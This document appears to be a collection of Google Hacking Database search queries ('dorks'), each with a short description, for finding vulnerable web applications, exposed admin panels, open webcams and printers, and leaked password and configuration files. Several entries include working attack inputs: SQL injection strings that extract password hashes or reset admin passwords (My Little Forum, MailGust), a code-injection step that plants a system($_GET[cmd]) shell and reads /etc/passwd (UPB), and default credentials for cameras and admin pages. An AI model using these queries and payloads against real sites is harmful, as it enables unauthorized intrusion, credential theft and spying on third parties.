"Maintained with Subscribe Me 2.044.09p"+"Professional" inurl:"s.pl"	"Maintained with Subscribe Me 2.044.09p"+"Professional" inurl:"s.pl"	subscribe Me Pro 2.0.44.09p is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input. Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.http://www.securityfocus.com/bid/14817/exploit
"Warning:" "SAFE MODE Restriction in effect." "The script whose uid	"Warning:" "SAFE MODE Restriction in effect." "The script whose uid is" "is not allowed to access owned by uid 0 in" "on line"	This error message reveals full path information. Recommend use of site: operator to narrow searches.

is" "is not allowed to access owned by uid 0 in" "on line"		
intitle:"net2ftp" "powered by net2ftp" inurl:ftp OR intext:login OR inurl:login	intitle:"net2ftp" "powered by net2ftp" inurl:ftp OR intext:login OR inurl:login	net2ftp is a web-based FTP client written in PHP. Lets explain this in detail. Web-based means that net2ftp runs on a web server, and that you use a browser (for example Internet Explorer or Mozilla)
inurl:cartwiz/store/index.asp	inurl:cartwiz/store/index.asp	The CartWIZ eCommerce Shopping Cart System will help you build your online store through an interactive web-based e-commerce administration interface.There are, multiple sql injection and xss in cartwiz asp cart.http://neworder.box.sk/explread.php?newsid=13534
intitle:"Control panel" "Control Panel Login" ArticleLive inurl:admin -demo	intitle:"Control panel" "Control Panel Login" ArticleLive inurl:admin -demo	Build, manage and customize your own search engine friendly news / article site from scratch -- with absolutely no technical experience.Authentication bypass, sql injections and xss in ArticleLive 2005http://neworder.box.sk/explread.php?newsid=13582
"Powered by autolinks pro 2.1" inurl:register.php	"Powered by autolinks pro 2.1" inurl:register.php	AutoLinksPro is a linking solution. AutoLinksPro link exchange software was built for the search engines to help improve your search engine rankings, traffic, and sales.Remote PHP File Include Vulnerabilityhttp://www.securityfocus.com/archive/1/409529/30/120/threaded
"CosmoShop by Zaunz Publishing" inurl:"cgi-bin/cosmoshop/lshop.cgi" -johnny.ihackstuff.com -V8.10.106 -V8.10.100 -V.8.10.85 -V8.10.108 -	"CosmoShop by Zaunz Publishing" inurl:"cgi-bin/cosmoshop/lshop.cgi" -johnny.ihackstuff.com -V8.10.106 -V8.10.100 -V.8.10.85 -V8.10.108 -V8.11*	cosmoshop is a comercial shop system written as a CGI.vulnerabilities:sql injection, passwords saved in cleartext, view any filehttp://www.securityfocus.com/archive/1/409510/30/120/threaded

V8.11*		
"Powered by Woltlab Burning Board" -"2.3.3" -"v2.3.3" -"v2.3.2" -"2.3.2"	"Powered by Woltlab Burning Board" -"2.3.3" -"v2.3.3" -"v2.3.2" -"2.3.2"	It's an exact replica of vbulletin but it is free.SQL-Injection Exploit:http://www.governmentsecurity.org/archive/t14850.html
"Please login with admin pass" - "leak" - sourceforge	"Please login with admin pass" - "leak" -sourceforge	PHPsFTPd is a web based administration and configuration interface for the SLimFTPd ftp serverIt can be used an any http server that suports PHP and does not need a database or adittional php modules, only SlimFTPD It allows the administrators of the ftp server to configurate it from within this interface as opposed to its native ascii conf.file It shows statistics about the users that accesed the server , the files that were downloaded , server breakdowns etcAdmin password leak:http://cert.uni-stuttgart.de/archive/bugtraq/2005/07/msg00209.html
intitle:"PHP TopSites FREE Remote Admin"	intitle:"PHP TopSites FREE Remote Admin"	PHP TopSites is a PHP/MySQL-based customizable TopList script. Main features include: Easy configuration config file; MySQL database backend; unlimited categories, Site rating on incoming votes; Special Rating from Webmaster; anti-cheating gateway; Random link; Lost password function; Webmaster Site-approval; Edit site; ProcessingTime display; Cookies Anti-Cheating; Site Reviews; Linux Cron Free; Frame Protection and much more.PHP TopSites Discloses Configuration Data to Remote Users:http://www.securitytracker.com/alerts/2005/Jul/1014552.htmlPS: all versions are vulnerable at time of writing.
intitle:"iDevAffiliate - admin" -demo	intitle:"iDevAffiliate - admin" -demo	Affiliate Tracking Software Adding affiliate tracking software to your site is one of the most effective ways to achieve more sales and more traffic! Our affiliate software installs in just

		minutes and integrates easily intoyour existing website.
"powered by my little forum"	"powered by my little forum"	My Little Forum 1.5 / 1.6beta SQL Injectionsoftware:site: http://www.mylittlehomepage.net/my_little_forumsoftware: "A simple web-forum that supports classical thread view (message tree)as well as messagebord view to display the messages.Requires PHP > 4.1 and a MySQL database."1) look at the vulnerable code at line 144 inside search.php:... $result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ". $time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit, DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."') AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table." WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", " .$settings['search_results_per_page'], $connid);...now goto the search page, select "phrase", and type:[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata whereuser_name='[username]' /*if magic quotes are off you will have (guess?...) any admin/user password hash'cause $searchstring var is not filtered...u can fin my poc exploit here:http://rgod.altervista.org/mylittle15_16b.html2) 1.6beta is vulnerable even, we have:...$result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL ".$time_difference." HOUR) ASUhrzeit, subject, name, email, hp, place, text, category FROM

		".$db_settings['forum_table']."WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'],$ connid);...you have same results, deleting a statement in injection string:[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata whereuser_name='[username]' /*
"powered by mailgust"	"powered by mailgust"	MailGust 1.9/2.0 (possibly prior versions) SQL injection / board takevorsoftware:site: http://www.mailgust.org/description:Mailgust is three softwares in one: * Mailing list manager * Newsletter distribution tool * Message Board Mailgust is written in php and uses a mysql database. vulnerability:if magic quotes off -> SQL Injectionwithout to have an account, a user can send himself a new admin password usingpassword reminder, in email field type:[yuor_email],'or'a'='a'/*@hotmail.comgive a look to what happen:220 [MAILSERVER] SMTP Service readyHELO [MAILGUST]250 [MAILSERVER].MAIL FROM:250 MAIL FROM: OKRCPT TO:250 RCPT TO:>[your_email] OKRCPT TO: OKDATA354 Start mail input; end with .Date: Sat, 24 Sep 2005 16:11:38 +0100Subject: New passwordTo: [your_email],'or'a'='a'/*@hotmail.comFrom: systemxxx@localhost.comYour login name is: [admin_email]Your new password is: 4993587Click here:http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114to activate the password, than try to log in!It is recommended that you change your password

		afterwards..250 Mail acceptedQUIT221 [MAILSERVER] QUITvulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363:...$query = "SELECT * FROM $applName"."_$userClassName ". "WHERE email='$this->email'";...it becomes:SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com'"or'a'='a'" is always true, so the query is always true, script doesn't fail, for mail function, theese are two valid email address,it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;)activate the password, now you can login with [admin_email] as user and new passwordu can find my poc exploit here:http://rgod.altervista.org/maildisgust.html
intitle:"Folder Listing" "Folder Listing" Name Size Date/Time File Folder	intitle:"Folder Listing" "Folder Listing" Name Size Date/Time File Folder	directory listing for Fastream NETFile Web Server
"Directory Listing for" "Hosted by Xerver"	"Directory Listing for" "Hosted by Xerver"	directory listing for Xerver web server
intitle:"Supero Doctor III" -inurl:supermicro	intitle:"Supero Doctor III" -inurl:supermicro	"Supero Doctor III Remote Management" by Supermicro, Inc.info: http://www.supermicro.es/products/accessories/software/SuperODoctorIII.htmljust look for default password...
intitle:"Netcam" intitle:"user login"	intitle:"Netcam" intitle:"user login"	just yet other online cam.
inurl:/yabb/Members/Admin.dat	inurl:/yabb/Members/Admin.dat	This search will show you the Administrator password (very first line) on YaBB forums whose owners didnt configure the permissions correctly. Go up a directory to get a full memberlist (the .dat files have the passwords).

intitle:"Biromsoft WebCam" -4.0 -serial -ask -crack -software -a -the -build -download -v4 -3.01 -numrange:1-10000	intitle:"Biromsoft WebCam" -4.0 -serial -ask -crack -software -a -the -build -download -v4 -3.01 -numrange:1-10000	Brimsoft webcam software enables anyone with a webcam to easily create a webcam http server. This googledork looks for these webcam servers.
(intitle:"VisionGS Webcam Software")|(intext:"Powered by VisionGS Webcam") -showthread.php -showpost.php -"Search Engine" -computersglobal.com -site:g	(intitle:"VisionGS Webcam Software")|(intext:"Powered by VisionGS Webcam") -showthread.php -showpost.php -"Search Engine" -computersglobal.com -site:g	I don't know if the google query got submitted right because it looks truncated. here it is again:(intitle:"VisionGS Webcam Software")|(intext:"Powered by VisionGS Webcam") -showthread.php -showpost.php -"Search Engine" -computersglobal.com -site:golb.org -site:chat.ru -site:findlastminute.de -site:tricus.de -site:urlaubus.de -johnny.ihackstuff VisionGS webcam software enables anyone with a webcam to easily host a webcam http server. This dork finds those servers.
"Powered By: lucidCMS 1.0.11"	"Powered By: lucidCMS 1.0.11"	Lucid CMS 1.0.11 SQL Injection /Login bypassthis is the dork for ther version I tested:"Powered By: lucidCMS 1.0.11"advisory/poc exploit:http://rgod.altervista.org/lucidcms1011.htmlwe have an XSS even:http://packetstorm.linuxsecurity.com/0509-exploits/lucidCMS.txt
"News generated by Utopia News Pro" | "Powered By: Utopia News Pro"	"News generated by Utopia News Pro" | "Powered By: Utopia News Pro"	Utopia News Pro 1.1.3 (and prior versions) SQL Injection & XSSadvisory & poc exploit:http://rgod.altervista.org/utopia113.html
inurl:login.jsp.bak	inurl:login.jsp.bak	JSP programmer anyone? You can read this!
intitle:Mantis "Welcome to the bugtracker" "0.15 | 0.16 | 0.17 | 0.18"	intitle:Mantis "Welcome to the bugtracker" "0.15 | 0.16 | 0.17 | 0.18"	cross site scripting and sql injection vunerabilities were discovered in Mantis versions 0.19.2 or less. Mantis is a web-based bugtracking system written in PHP. Vunerability report athttp://search.securityfocus.com/archive/1/411591/30/0/threaded
intitle:"IQeye302 |	intitle:"IQeye302 | IQeye303 |	This is a googledork for IQeye

IQeye303 | IQeye601 | IQeye602 | IQeye603" intitle:"Live Images"	IQeye601 | IQeye602 | IQeye603" intitle:"Live Images"	netcams. Some of which you can control how they tilt/zoom. The default admin username/password are root/system.
intitle:"urchin (5|3|admin)" ext:cgi	intitle:"urchin (5|3|admin)" ext:cgi	Gain access to Urchin analysis reports.
inurl:status.cgi?host=all	inurl:status.cgi?host=all	Nagios Status page. See what ports are being monitored as well as ip addresses.Be sure to check the google cached page first.
inurl:polly/CP	inurl:polly/CP	You can get into admin panel without logging.
"Cyphor (Release:" -www.cynox.ch	"Cyphor (Release:" -www.cynox.ch	Cyphor 0.19 (possibly prior versions) SQL Injection / Board takeover / cross site scriptingmy advisory & poc exploit:http://rgod.altervista.org/cyphor019.htmlrgodModerator PS: The software is longer maintained.
"Welcome to the versatileBulletinBoard" | "Powered by versatileBulletinBoard"	"Welcome to the versatileBulletinBoard" | "Powered by versatileBulletinBoard"	versatileBulletinBoard V1.0.0 RC2 (possibly prior versions)multiple SQL Injection vulnerabilities / login bypass / cross site scripting / information disclosureadvisory:http://rgod.altervista.org/versatile100RC2.html
inurl:ocw_login_username	inurl:ocw_login_username	WEBppliance is a software application designed to automate the deployment and management of Web-hosting services. There is a bug in how this product does the Logon validation. This Search will take you directly into the Admin pages....U can delete an User....(Plz dont do that..)Enjoy,Night Hacker
intitle:Bookmarks inurl:bookmarks.html "Bookmarks	intitle:Bookmarks inurl:bookmarks.html "Bookmarks	AFAIK are the bookmarks of Firefox, Netscape and Mozilla stored in bookmarks.html. It is often uploaded to serve as a backup, so it could reveal some juicy information.
"The following report contains	"The following report contains confidential information"	This googledork reveals vunerability reports from many different vendors.

confidential information" vulnerability -search	vulnerability -search	These reports can contain information which can help an attacker break into a system/network.
"Shadow Security Scanner performed a vulnerability assessment"	"Shadow Security Scanner performed a vulnerability assessment"	This is a googledork to find vulnerability reports produced by Shadow Security Scanner. They contain valuable information which can be used to break into a system.
intitle:"Docutek ERes - Admin Login" -edu	intitle:"Docutek ERes - Admin Login" -edu	Docutek Eres is software that helps libaries get an internet end to them. This dork finds the admin login in page. Using Docutek Eres you can look through course material amoung other things.
intitle:"Retina Report" "CONFIDENTIAL INFORMATION"	intitle:"Retina Report" "CONFIDENTIAL INFORMATION"	This googledork finds vulnerability reports produced by eEye Retina Security Scanner. The information inside these reports can help an attacker break into a system/network.
intitle:"CJ Link Out V1"	intitle:"CJ Link Out V1"	A cross site scripting vunerability has been discovered in CJ linkout version 1.x. CJ linkout is a free product which allows you to easily let users connect to a different site with a frame at the top which links back to your site. The vulnerability report can be found at http://secunia.com/advisories/16970/ .
server-dbs "intitle:index of"	server-dbs "intitle:index of"	Yes, people actually post their teamspeak servers on websites. Just look for the words superadmin in the files and the password trails it in plain text.
inurl:"Sites.dat"+"PASS="	inurl:"Sites.dat"+"PASS="	FlashFXP has the ability to import a Sites.dat file into its current Sites.dat file, using this search query you are able to find websites misconfigured to share the flashfxp folder and subsequently the Sites.dat file containing all custom sites the victim has in their sitelist. the passwords are not clear text but if you import the sites.dat into flashfxp you can connect to the ftps and it automatically sends

		the password. you can also set flashfxp to not hide passwords and it will show you what the password is when it connects.
("port_255/home") |(inurl:"home?port=255")	("port_255/home")|(inurl:"home?port=255")	standered printer search. Moderator note: see also dork id=1221
"This page is for configuring Samsung Network Printer" | printerDetails.htm	"This page is for configuring Samsung Network Printer" | printerDetails.htm	several different samsung printers
log inurl:linklint filetype:txt - "checking"	log inurl:linklint filetype:txt - "checking"	Linklint is an Open Source Perl program that checks links on web sites. This search finds the Linklint log directory. Complete site map able to be recreated, and if you go back one directory you can see all the other files generated by linklint. Thanks to CP for direction.
inurl:course/category.php | inurl:course/info.php | inurl:iplookup/ipatlas/plot.php	inurl:course/category.php | inurl:course/info.php | inurl:iplookup/ipatlas/plot.php	Moodle
"Powered by XOOPS 2.2.3 Final"	"Powered by XOOPS 2.2.3 Final"	XOOPS 2.2.3 Arbitrary local file inclusionThis a generic dork for the version I tested, advisory & poc exploit:http://rgod.altervista.org/xoops_xpl.html
inurl:"wfdownloads/viewcat.php?list="	inurl:"wfdownloads/viewcat.php?list="	XOOPS WF_Downloads (2.05) module SQL injectionThis a specific dork, that searches XOOPS sites with WF_Downloads module installed, advisory & poc exploit:http://rgod.altervista.org/xoops_xpl.html
intitle:"OnLine Recruitment Program - Login" - johnny.ihackstuff	intitle:"OnLine Recruitment Program - Login" - johnny.ihackstuff	This is the Employer's Interface of eRecruiter, a 100% Paper Less Recruitment Solution implemented by Universal Virtual Office. The only time you need to use paper is when you give out the appointment letter.The access

		to the Employer's Zone is restricted to authorized users only. Please authenticate your identity.
intitle:"EXTRANET * - Identification"	intitle:"EXTRANET * - Identification"	WorkZone Extranet Solution login page. All portals are in french or spanish I belive.
intitle:"EXTRANET login" -.edu -.mil -.gov -johnny.ihackstuff	intitle:"EXTRANET login" -.edu -.mil -.gov -johnny.ihackstuff	This search finds many different Extranet login pages.
intitle:"*- HP WBEM Login" | "You are being prompted to provide login account information for *" | "Please provide the information requested and press	intitle:"*- HP WBEM Login" | "You are being prompted to provide login account information for *" | "Please provide the information requested and press	HP WBEM Clients are WBEM enabled management applications that provide the user interface and functionality system administrators need to manage their environment.
intitle:"Novell Web Services" "GroupWise" -inurl:"doc/11924" -.mil -.edu -.gov -filetype:pdf	intitle:"Novell Web Services" "GroupWise" -inurl:"doc/11924" -.mil -.edu -.gov -filetype:pdf	Novell GroupWise is a complete collaboration software solution that provides information workers with e-mail, calendaring, instant messaging, task management, and contact and document management functions. The leading alternative to Microsoft Exchange, GroupWise has long been praised by customers and industry watchers for its security and reliability.
"Powered by Merak Mail Server Software" -.gov -.mil -.edu -site:merakmailserver.com -johnny.ihackstuff	"Powered by Merak Mail Server Software" -.gov -.mil -.edu -site:merakmailserver.com -johnny.ihackstuff	Webmail login portals for Merak Email ServerMerak Email Server Suite consists of multiple awards winner Merak Email Server core and optional components:* Email Server for Windows or Linux* Anti-Spam Protection* Anti-Virus Protection* Integrated WebMail Access* Instant Messaging* GroupWare
intitle:"Merak Mail Server Web Administration" -ihackstuff.com	intitle:"Merak Mail Server Web Administration" -ihackstuff.com	User login pages for Merak Email Server Suite which consists of Merak Email Server core and optional components:* Email Server for

		Windows or Linux* Anti-Spam Protection* Anti-Virus Protection* Integrated WebMail Access* Instant Messaging* GroupWaremore info: h**p://www.icewarp.com
ext:yml database inurl:config	ext:yml database inurl:config	Ruby on Rails is a MVC full-stack framework for development of web applications. There's a configuration file in this framework called database.yml that links the Rails with the DB. It contains all the info needed to access de DB including username and password in clear text.
"This is a restricted Access Server" "Javascript Not Enabled!"|"Messenger Express" -edu -ac	"This is a restricted Access Server" "Javascript Not Enabled!"|"Messenger Express" -edu -ac	Mostly Login Pages for iPlanet Messenger Express, which is a web-based electronic mail program that enables end users to access their mailboxes using a browser. Messenger Express clients send mail to a specialized web server that is part of iPlanet Messaging Server. Thanks to the forum members for cleaning up the search.
inurl:webvpn.html "login" "Please enter your"	inurl:webvpn.html "login" "Please enter your"	The Cisco WebVPN Services Module is a high-speed, integrated Secure Sockets Layer (SSL) VPN services module for Cisco products.
intitle:"SNOIE Intel Web Netport Manager" OR intitle:"Intel Web Netport Manager Setup/Status"	intitle:"SNOIE Intel Web Netport Manager" OR intitle:"Intel Web Netport Manager Setup/Status"	Intel Netport Express Print Server.
"Establishing a secure Integrated Lights Out session with" OR intitle:"Data Frame - Browser not HTTP 1.1 compatible" OR intitle:"HP Integrated Lights-	"Establishing a secure Integrated Lights Out session with" OR intitle:"Data Frame - Browser not HTTP 1.1 compatible" OR intitle:"HP Integrated Lights-	iLo and related login pages !? Whoops..
inurl:nnls_brand.ht	inurl:nnls_brand.html OR	Novell Nterprise Linux Services

ml OR inurl:nnls_nav.html	inurl:nnls_nav.html	detection dork. Some of the features are:* iFolder* Samba* NetStorage* eDirectory Administration* Linux User Management* NMAS 2.3* NetMail 3.5* GroupWise 6.5* iPrint* Virtual Office
intitle:"Welcome to F-Secure Policy Manager Server Welcome Page"	intitle:"Welcome to F-Secure Policy Manager Server Welcome Page"	An attacker may want to know about the antivirus software running. The description says he can check the status of the F-Secure Policy Manager Server's Host Module. He can also check the status of the Console Module, but only if he's reading the page from the local host.
intitle:"Summit Management Interface" -georgewbush.org.uk	intitle:"Summit Management Interface" -georgewbush.org.uk	Extreme Networks Summit Switches Web admin pages. Server: Allegro-Software-RomPager/2.10
intitle:Cisco "You are using an old browser or have disabled javascript. You must use version 4 or higher of Netscape Navigator/Communicator"	intitle:Cisco "You are using an old browser or have disabled javascript. You must use version 4 or higher of Netscape Navigator/Communicator"	Login pages for Ciso VPN Concentrator stuff
intitle:"Iomega NAS Manager" -ihackstuff.com	intitle:"Iomega NAS Manager" -ihackstuff.com	Login page dork for Iomega NAS Manager.. There's only 1 result for it now, but this could change in the future.
"This website was created with phpWebThings 1.4"	"This website was created with phpWebThings 1.4"	This is Secunia advisory:http://secunia.com/advisories/17410/and my exploit that show a new vulnerability in "msg" parameter:http://rgod.altervista.org/phpwebth14_xpl.html
"site info for" "Enter Admin Password"	"site info for" "Enter Admin Password"	This will take you to the cash crusader admin login screen. It is my first google hack.. also try adding index.php at the end, have fun people :)
inurl:webalizer	inurl:webalizer filetype:png -.gov -	***WARNING: This search uses

filetype:png -.gov -.edu -.mil -opendarwin	.edu -.mil -opendarwin	google images, disable images unless you want your IP spewed across webpages!***Webalizer is a program that organizes who is going to a Webpage, what they are looking at, what user names are entered and endless other statistics.This is a great first step in getting too much information about a website. You see any links or files that are hidden, the search can be made more specific by using other google advanced searchs.Learn more about Webalizer(http://www.mrunix.net/webalizer/).
Display Cameras intitle:"Express6 Live Image"	Display Cameras intitle:"Express6 Live Image"	Express6 live video controller.Displays video from "Netlive Cameras" found in this search:http://johnny.ihackstuff.com/index.php?module=prodreviews&func=showcontent&id=1416Several new cameras found in this search.
intitle:"Sony SNT-V304 Video Network Station" inurl:hsrindex.shtml	intitle:"Sony SNT-V304 Video Network Station" inurl:hsrindex.shtml	The SNT-V304 Video Network Station.Sony's network camera control station.
"Copyright 2000 - 2005 Miro International Pty Ltd. All rights reserved" "Mambo is Free Software released"	"Copyright 2000 - 2005 Miro International Pty Ltd. All rights reserved" "Mambo is Free Software released"	this dork is for Mambo 4.5.2x Globals overwrite / remote command execution exploit:http://rgod.altervista.org/mambo452_xpl.html
inurl:wp-mail.php + "There doesn't seem to be any new mail."	inurl:wp-mail.php + "There doesn't seem to be any new mail."	This is the WordPress script handling Post-By-Email functionality, the search is focussed on the message telling that there's nothing to process.If the script *does* have anything to progress, it will reveal the email-address of account that sent the message(s).
("Skin Design by Amie of Intense")|("Fanficti	("Skin Design by Amie of Intense")|("Fanfiction Categories" "Featured Stories")|("default2,	eFiction

on Categories" "Featured Stories")|("default 2, 3column, Romance, eFiction")	3column, Romance, eFiction")	
"Powered by UPB" (b 1.0)|(1.0 final)|(Public Beta 1.0b)	"Powered by UPB" (b 1.0)|(1.0 final)|(Public Beta 1.0b)	dork: "Powered by UPB" (b 1.0)|(1.0 final)|(Public Beta 1.0b) this is a very old vulnerability discovered by Xanthic, can't find it in GHDB and I am surprised of how it still works... register, login, go to: http://[target]/[path_to_upb]/admin_members.php edit your level to 3 (Admin) and some Admin level to 1 (user), logout, re-login and... boom! You see Admin Panel link as I see it? The only link to the advisory that I found is this (in Italian): http://216.239.59.104/search?q=cache:iPdFzkDyS5kJ:www.mojodo.it/mjdzine/zina/numero3/n3f1.txt+xanthic+upb&hl=it and I have remote commads xctn for this now, edit site title with this code: Ultimate PHP Board"; error_reporting(0); ini_set("max_execution_time",0); system($_GET[cmd]); echo " now in config.dat we have: ... $title="Ultimate PHP Board "; error_reporting(0); ini_set("max_execution_time",0); system($_GET[cmd]); echo " "; ... in header.php we have: ... include "./db/config.dat"; ... so you can launch commands: http://[target]/[path]/header.php?cmd=cat%20/etc/passwd
"Welcome to the directory listing of" "NetworkActiv-Web-Server"	"Welcome to the directory listing of" "NetworkActiv-Web-Server"	this is for NetworkActiv-Web-Server directory listing
intitle:"Snap Server" intitle:"Home"	intitle:"Snap Server" intitle:"Home" "Active Users"	This an online device, you can search for unpassworded shares on Snap Appliance Server.Moderator notes:This

"Active Users"		was found by golfo on sep 8th, but he forgot to submit it (ouch).. Before that mlynch was the first to discover it. See:http://johnny.ihackstuff.com/index.php?name=PNphpBB2&file=viewtopic&t=2784&highlight=snap+serverhttp://johnny.ihackstuff.com/index.php?module=prodreviews&func=showcontent&id=180
"Powered by Xaraya" "Copyright 2005"	"Powered by Xaraya" "Copyright 2005"	Xaraya
"parent directory" +proftpdpasswd	"parent directory" +proftpdpasswd	User names and password hashes from web server backups generated by cpanel for ProFTPd. Password hashes can be cracked, granting direct access to FTP accounts. Unix passwd and shadow files can sometimes be found with this query as well.
"This website powered by PHPX" -demo	"This website powered by PHPX" -demo	this is the dork for PhpX
"Warning: Installation directory exists at" "Powered by Zen Cart" -demo	"Warning: Installation directory exists at" "Powered by Zen Cart" -demo	by this dork you can find fresh installations of Zen-Cartsee Full Disclosure forums fore details... ;)
"Based on DoceboLMS 2.0"	"Based on DoceboLMS 2.0"	advisory & poc exploit:http://rgod.altervista.org/docebo204_xpl.html
"2005 SugarCRM Inc. All Rights Reserved" "Powered By SugarCRM"	"2005 SugarCRM Inc. All Rights Reserved" "Powered By SugarCRM"	this is the dork for Sugar Suite 3.5.2a & 4.0beta remote code execution issue, advisory & poc exploit:http://rgod.altervista.org/sugar_suite_40beta.html
inurl:Printers/ipp_0001.asp	inurl:Printers/ipp_0001.asp	Thanks to Windows 2003 Remote Printing
"Powered By phpCOIN 1.2.2"	"Powered By phpCOIN 1.2.2"	PhpCOIN 1.2.2 arbitrary remote\local inclusion / blind sql injection / path disclosureadvisory:http://rgod.altervista.org/phpcoin122.htmlmore generic:"Powered By phpCOIN"to see previous verions (not tested)

intext:"Powered by SimpleBBS v1.1"*	intext:"Powered by SimpleBBS v1.1"*	Vulnerability DescriptionSimpleBBS contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the search module not properly sanitizing user-supplied input to undisclosed variables. This may allow an attacker to inject or manipulate SQL queries in the backend database. No further details have been provided.Solution DescriptionCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.Products:* SimpleMedia SimpleBBS 1.1 AffectedVulnerability classification:* Remote vulnerability* Input manipulation attack* Impact on integrity* Exploit unavailable* VerifiedMore info on Vuln: http://www.securityfocus.com/bid/15594
"Site powered By Limbo CMS"	"Site powered By Limbo CMS"	this is the dork for Limbo Cms
inurl:ventrilo_srv.ini adminpassword	inurl:ventrilo_srv.ini adminpassword	This search reveals the ventrilo (voice communication program used by many online gamers) passwords for many servers. Possiblity of gaining control of the entire server.
inurl:guestbook/guestbooklist.asp "Post Date" From Country	inurl:guestbook/guestbooklist.asp "Post Date" From	A sql vulnerability has been reported in a Techno Dreams asp script, login.asp. http://search.securityfocus.com/archive/1/414708/30/0/threadedSeveral ways of finding the vulnerable file:Guestbook (the above dork): inurl:guestbook/guestbooklist.asp "Post Date" From Country Results 1 - 21 of 123Announcement: inurl:MainAnnounce1.asp "show all" Results 1 -20 of 86WebDirectory: inurl:webdirectory "Total Available Web Sites" Search Results 1 - 4 of 5MailingList: inurl:maillinglist/emailsadd.asp Results 1 - 6 of 6note these dorks don't find the vulnerable script; to find it change the

		url to /admin/login.asp or /login.asp.The default admin user/pass is admin/admin. Some results leave this info on the page and others load the page with this info already filled out.
inurl:/Merchant2/admin.mv | inurl:/Merchant2/admin.mvc | intitle:"Miva Merchant Administration Login" -inurl:cheap-malboro.net	inurl:/Merchant2/admin.mv | inurl:/Merchant2/admin.mvc | intitle:"Miva Merchant Administration Login" -inurl:cheap-malboro.net	Miva Merchant is a product that helps buisnesses get into e-commerce. This dork locates their admin login.
intitle:"Admin login" "Web Site Administration" "Copyright"	intitle:"Admin login" "Web Site Administration" "Copyright"	sift Group makes a web site administration product which can be accessed via a web browser. This dork locates their admin login.
intitle:"b2evo > Login form" "Login form. You must log in! You will have to accept cookies in order to log in" -demo -site:b2evolution.net	intitle:"b2evo > Login form" "Login form. You must log in! You will have to accept cookies in order to log in" -demo -site:b2evolution.net	b2evolution is a free open-source blogging system from b2evolution.net. This dork finds the admin login.
(intitle:WebStatistica inurl:main.php) | (intitle:"WebSTATISTICA server") -inurl:statsoft -inurl:statsoftsa -inurl:statsoftinc.com -edu -software -rob	(intitle:WebStatistica inurl:main.php) | (intitle:"WebSTATISTICA server") -inurl:statsoft -inurl:statsoftsa -inurl:statsoftinc.com -edu -software -rob	WebStatistica provides detailed statistics about a web page. Normally you would have to login to view these statistics but the sites have put autologin on.
inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl	inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl	Information about proxy servers, internal ip addresses and other network sensitive stuff.
inurl:/cgi-bin/pass.txt	inurl:/cgi-bin/pass.txt	Passwords

"Emergisoft web applications are a part of our"	"Emergisoft web applications are a part of our"	Hospital patient management system, in theory it could be dangerous.
inurl:/img/vr.htm	inurl:/img/vr.htm	Linksys wireless G Camera.
intext:"Powered by CubeCart 3.0.6" intitle:"Powered by CubeCart"	intext:"Powered by CubeCart 3.0.6" intitle:"Powered by CubeCart"	CubeCart is an eCommerce script written with PHP & MySQL. Search CubeCart 3.0.6 portal vulnerable. The vulnerability is Remote Command Execution. See http://milw0rm.com/id.php?id=1398M oderator note: "Moving milw0rm once again. This time hosted by asylum-networks.com. /str0ke"
inurl:ovcgi/jovw	inurl:ovcgi/jovw	An HP Java network management tool. It is a sign that a network may not be configured properly.
intitle:Axis inurl:"/admin/admin.shtml"	intitle:Axis inurl:"/admin/admin.shtml"	similar searchs exist. This search finds a few more results as well as access to the Admin area or a login screen depending on Cameras configuration.
DCS inurl:"/web/login.asp"	DCS inurl:"/web/login.asp"	Login pages for the DCS-950 Web Camera. Even comes with a built in microphone.
intitle:"Dell Laser Printer *" port_0 -johnny.ihackstuff	intitle:"Dell Laser Printer *" port_0 -johnny.ihackstuff	Dell laser printers. This search finds different results that dork id 1077.
filetype:bak createobject sa	filetype:bak createobject sa	This query searches for files that have been renamed to a .bak extension (obviously), but includes a search for the characters "sa" (default SQL server admin id) and "createobject" which is requisite VBScript for opening some sort of odbc/ado connection. Since the sql id and password are plain text, it's easy to connect to the SQL server once you have this information... especially those that use "server=127.0.0.1" so you know IIS & SQL Server are running on the same box.
"bp blog admin" intitle:login | intitle:admin -site:johnny.ihackst	"bp blog admin" intitle:login | intitle:admin -site:johnny.ihackstuff.com	betaparticle (bp) blog is blog software coded in asp. This google dork finds the admin logins.

uff.com		
inurl:"editor/list.asp" | inurl:"database_editor.asp" | inurl:"login.asa" "are set"	inurl:"editor/list.asp" | inurl:"database_editor.asp" | inurl:"login.asa" "are set"	This search finds CLEARTEXT usernames/passwords for the Results Database Editor. The log in portal can be found at /editor/login.asp. At time of submitting there are 21 results.Also a search for the logins:inurl:"Results/editor/login.asp"" Database Editor Login" "Results Page"
ext:passwd -intext:the -sample -example	ext:passwd -intext:the -sample -example	Various encrypted passwords, some plaintext passwords and some private keys are revealed by this search.
enable password | secret "current configuration" -intext:the	enable password | secret "current configuration" -intext:the	Another Cisco configuration search. This one is cleaner, gives complete configuration files and it catches plaintext, "secret 5" and "password 7" passwords.
ext:asa | ext:bak intext:uid intext:pwd -"uid..pwd" database | server | dsn	ext:asa | ext:bak intext:uid intext:pwd -"uid..pwd" database | server | dsn	search for plaintext database credentials in ASA and BAK files.
